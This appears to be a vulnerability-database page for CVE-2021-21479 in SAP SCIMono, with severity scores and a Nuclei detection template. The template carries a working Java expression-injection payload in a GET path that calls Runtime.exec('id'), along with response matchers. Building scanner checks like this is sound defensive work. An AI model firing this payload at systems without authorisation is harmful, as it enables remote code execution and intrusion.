6.4 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:N/I:P/A:P
9.1 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
0.004 Low
EPSS
Percentile
73.5%
SCIMono before 0.0.19 is vulnerable to remote code execution because it is possible for an attacker to inject and
id: CVE-2021-21479
info:
name: SCIMono <0.0.19 - Remote Code Execution
author: dwisiswant0
severity: critical
description: |
SCIMono before 0.0.19 is vulnerable to remote code execution because it is possible for an attacker to inject and
execute java expressions and compromise the availability and integrity of the system.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
remediation: |
Upgrade SCIMono to version 0.0.19 or later to mitigate this vulnerability.
reference:
- https://securitylab.github.com/advisories/GHSL-2020-227-scimono-ssti/
- https://nvd.nist.gov/vuln/detail/CVE-2021-21479
- https://github.com/SAP/scimono/security/advisories/GHSA-29q4-gxjq-rx5c
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
cvss-score: 9.1
cve-id: CVE-2021-21479
cwe-id: CWE-74
epss-score: 0.00396
epss-percentile: 0.70798
cpe: cpe:2.3:a:sap:scimono:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: sap
product: scimono
tags: cve,cve2021,scimono,rce,sap
http:
- method: GET
path:
- "{{BaseURL}}/Schemas/$%7B''.class.forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('java.lang.Runtime.getRuntime().exec(\"id\")')%7D"
matchers:
- type: word
part: body
words:
- "The attribute value"
- "java.lang.UNIXProcess@"
- "has invalid value!"
- '"status" : "400"'
condition: and
# digest: 4a0a004730450220492f92e5a086f61cde1c3cb1bce6d47be6f9bb9fe6a79dcb1e8390046a6e324b02210093a84217824268630dc66e229a860a26df1630c1e07d49c591a7b174768313a3:922c64590222798bb761d5b6d8e72950
6.4 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:N/I:P/A:P
9.1 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
0.004 Low
EPSS
Percentile
73.5%